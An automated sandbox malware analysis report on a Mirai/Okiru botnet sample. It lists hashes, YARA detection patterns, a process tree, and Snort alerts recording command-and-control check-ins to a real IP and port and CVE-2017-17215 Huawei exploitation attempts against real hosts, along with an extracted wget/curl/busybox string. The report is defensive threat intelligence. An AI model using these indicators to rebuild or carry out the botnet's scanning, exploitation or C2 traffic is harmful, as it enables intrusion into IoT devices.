Edit tour

Linux Analysis Report
h7x9LMic6K.elf

Overview

General Information

Sample name:	h7x9LMic6K.elf renamed because original name is a hash value
Original sample name:	40d1b02e45c6d4a01380b4d6a80698ae.elf
Analysis ID:	1400807
MD5:	40d1b02e45c6d4a01380b4d6a80698ae
SHA1:	a395dba6f84e26e537e81bc7046fa5eca2d5d09a
SHA256:	28519cff83b170a84923d8d02f5f5c13e0531431d38e028bb1c53e549f968307
Tags:	32elfmiraimotorola
Infos:

Detection

Mirai, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Okiru

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1400807
Start date and time:	2024-02-29 10:41:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	h7x9LMic6K.elf renamed because original name is a hash value
Original Sample Name:	40d1b02e45c6d4a01380b4d6a80698ae.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/1025@23/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: h7x9LMic6K.elf

Runtime Messages

Command:	/tmp/h7x9LMic6K.elf
PID:	5523
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

h7x9LMic6K.elf (PID: 5523, Parent: 5447, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/h7x9LMic6K.elf

h7x9LMic6K.elf New Fork (PID: 5525, Parent: 5523)

h7x9LMic6K.elf New Fork (PID: 5527, Parent: 5525)

h7x9LMic6K.elf New Fork (PID: 5529, Parent: 5525)

h7x9LMic6K.elf New Fork (PID: 5530, Parent: 5525)

h7x9LMic6K.elf New Fork (PID: 5532, Parent: 5525)

gnome-session-binary New Fork (PID: 5536, Parent: 1498)

sh (PID: 5536, Parent: 1498, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 5536, Parent: 1498, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

gdm3 New Fork (PID: 5542, Parent: 1333)

Default (PID: 5542, Parent: 1333, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5559, Parent: 1333)

Default (PID: 5559, Parent: 1333, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5571, Parent: 1)

systemd-user-runtime-dir (PID: 5571, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
h7x9LMic6K.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
h7x9LMic6K.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
h7x9LMic6K.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
h7x9LMic6K.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2023b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2024f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20263:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20277:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2028b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2029f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x202b3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x202c7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x202db:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x202ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20303:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20317:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2032b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2033f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20353:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20367:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2037b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2038f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x203a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x203b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x203cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5523.1.00007f1a58001000.00007f1a58024000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5523.1.00007f1a58001000.00007f1a58024000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5523.1.00007f1a58001000.00007f1a58024000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5523.1.00007f1a58001000.00007f1a58024000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2023b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2024f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20263:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20277:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2028b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2029f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x202b3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x202c7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x202db:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x202ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20303:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20317:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2032b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2033f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20353:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20367:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2037b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2038f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x203a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x203b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x203cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: h7x9LMic6K.elf PID: 5523	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: h7x9LMic6K.elf PID: 5523	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: h7x9LMic6K.elf PID: 5523	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1302:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1316:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x132a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x133e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1352:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1366:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x137a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x138e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13a2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13b6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13ca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13de:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13f2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1406:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x141a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x142e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1442:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1456:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x146a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x147e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1492:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.66.15

Timestamp:	02/29/24-10:43:06.993982
SID:	2829579
Source Port:	59010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:31.173792
SID:	2030490
Source Port:	56954
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:48.553163
SID:	2030490
Source Port:	57020
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:23.544691
SID:	2030490
Source Port:	56936
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:12.739980
SID:	2030490
Source Port:	56914
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 95.86.97.254

Timestamp:	02/29/24-10:42:37.376040
SID:	2835222
Source Port:	44638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:27.359901
SID:	2030490
Source Port:	56950
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:42.756944
SID:	2030490
Source Port:	57002
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:44:00.942588
SID:	2030490
Source Port:	57044
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.74.172.5

Timestamp:	02/29/24-10:43:20.432898
SID:	2829579
Source Port:	38626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:38.962396
SID:	2030490
Source Port:	56990
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:56.127690
SID:	2030490
Source Port:	56878
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.127.161.104

Timestamp:	02/29/24-10:44:00.092900
SID:	2829579
Source Port:	60734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.74.172.5

Timestamp:	02/29/24-10:43:20.432898
SID:	2835222
Source Port:	38626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:08.496501
SID:	2030490
Source Port:	56812
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:59.160784
SID:	2030490
Source Port:	57040
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:24.921519
SID:	2030490
Source Port:	56822
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:06.707964
SID:	2030490
Source Port:	56810
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:34.525691
SID:	2030490
Source Port:	56842
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 95.86.97.254

Timestamp:	02/29/24-10:42:37.376040
SID:	2829579
Source Port:	44638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:05.928055
SID:	2030490
Source Port:	56896
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:20.117307
SID:	2030490
Source Port:	56820
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:10.305029
SID:	2030490
Source Port:	56814
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:41:57.344504
SID:	2030490
Source Port:	56804
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:45.324682
SID:	2030490
Source Port:	56860
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.66.15

Timestamp:	02/29/24-10:43:06.993982
SID:	2835222
Source Port:	59010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:03.924567
SID:	2030490
Source Port:	56808
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.127.161.104

Timestamp:	02/29/24-10:44:00.092900
SID:	2835222
Source Port:	60734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:02.139809
SID:	2030490
Source Port:	56806
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:42:30.724008
SID:	2030490
Source Port:	56828
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:43:56.356741
SID:	2030490
Source Port:	57038
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: h7x9LMic6K.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: h7x9LMic6K.elf

ReversingLabs: Detection: 52%

Source: h7x9LMic6K.elf

String: wgetcurl/bin/busyboxechocatnanotfpt/proc/proc/%d/cmdlineabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56804 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56806 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56808 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56810 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56812 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56814 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56820 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56822 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56828 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56842 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:44638 -> 95.86.97.254:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:44638 -> 95.86.97.254:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56860 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56878 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56896 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59010 -> 94.123.66.15:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59010 -> 94.123.66.15:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56914 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:38626 -> 41.74.172.5:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:38626 -> 41.74.172.5:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56936 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56950 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56954 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56990 -> 103.179.172.139:19990
